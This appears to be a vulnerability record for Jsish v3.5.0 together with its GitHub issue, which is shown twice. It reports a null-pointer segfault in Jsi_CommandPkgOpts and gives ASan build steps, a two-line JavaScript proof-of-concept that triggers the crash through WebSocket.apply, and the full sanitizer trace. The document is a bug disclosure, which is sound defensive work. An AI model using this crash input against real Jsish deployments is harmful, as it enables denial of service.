Jsish v3.5.0 was discovered to contain a SEGV vulnerability via Jsi_CommandPkgOpts at src/jsiCmds.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var JSEtest = { 1e+400: '!'.charCodeAt(0) };
String.prototype.trimRight(WebSocket.apply(JSEtest));
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
==40146==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x56121dba5c0c bp 0x0ffff18e704c sp 0x7fff8c7381e0 T0)
==40146==The signal is caused by a READ memory access.
==40146==Hint: address points to the zero page.
    #0 0x56121dba5c0b in Jsi_CommandPkgOpts src/jsiCmds.c:785
    #1 0x56121dccce67 in WebSocketConstructor src/jsiWebSocket.c:3348
    #2 0x56121db0c818 in jsi_FuncCallSub src/jsiProto.c:244
    #3 0x56121db0ed84 in Jsi_FunctionApply src/jsiProto.c:480
    #4 0x56121db0c818 in jsi_FuncCallSub src/jsiProto.c:244
    #5 0x56121ddd671a in jsiFunctionSubCall src/jsiEval.c:796
    #6 0x56121ddd671a in jsiEvalFunction src/jsiEval.c:837
    #7 0x56121ddd671a in jsiEvalCodeSub src/jsiEval.c:1264
    #8 0x56121ddea15e in jsi_evalcode src/jsiEval.c:2204
    #9 0x56121ddee274 in jsi_evalStrFile src/jsiEval.c:2665
    #10 0x56121dadd66a in Jsi_Main src/jsiInterp.c:936
    #11 0x56121e2e203a in jsi_main src/main.c:47
    #12 0x7fde614afbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #13 0x56121da71969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiCmds.c:785 in Jsi_CommandPkgOpts

```

Credits: Found by OWL337 team.
SEGV src/jsiCmds.c:785 in Jsi_CommandPkgOpts
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : SEGV src/jsiCmds.c:785 in Jsi_CommandPkgOpts
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var JSEtest = { 1e+400: '!'.charCodeAt(0) };
String.prototype.trimRight(WebSocket.apply(JSEtest));
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
==40146==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x56121dba5c0c bp 0x0ffff18e704c sp 0x7fff8c7381e0 T0)
==40146==The signal is caused by a READ memory access.
==40146==Hint: address points to the zero page.
    #0 0x56121dba5c0b in Jsi_CommandPkgOpts src/jsiCmds.c:785
    #1 0x56121dccce67 in WebSocketConstructor src/jsiWebSocket.c:3348
    #2 0x56121db0c818 in jsi_FuncCallSub src/jsiProto.c:244
    #3 0x56121db0ed84 in Jsi_FunctionApply src/jsiProto.c:480
    #4 0x56121db0c818 in jsi_FuncCallSub src/jsiProto.c:244
    #5 0x56121ddd671a in jsiFunctionSubCall src/jsiEval.c:796
    #6 0x56121ddd671a in jsiEvalFunction src/jsiEval.c:837
    #7 0x56121ddd671a in jsiEvalCodeSub src/jsiEval.c:1264
    #8 0x56121ddea15e in jsi_evalcode src/jsiEval.c:2204
    #9 0x56121ddee274 in jsi_evalStrFile src/jsiEval.c:2665
    #10 0x56121dadd66a in Jsi_Main src/jsiInterp.c:936
    #11 0x56121e2e203a in jsi_main src/main.c:47
    #12 0x7fde614afbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #13 0x56121da71969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiCmds.c:785 in Jsi_CommandPkgOpts

```

Credits: Found by OWL337 team.
--- end body ---

comments :
--- start comments ---

--- end comments ---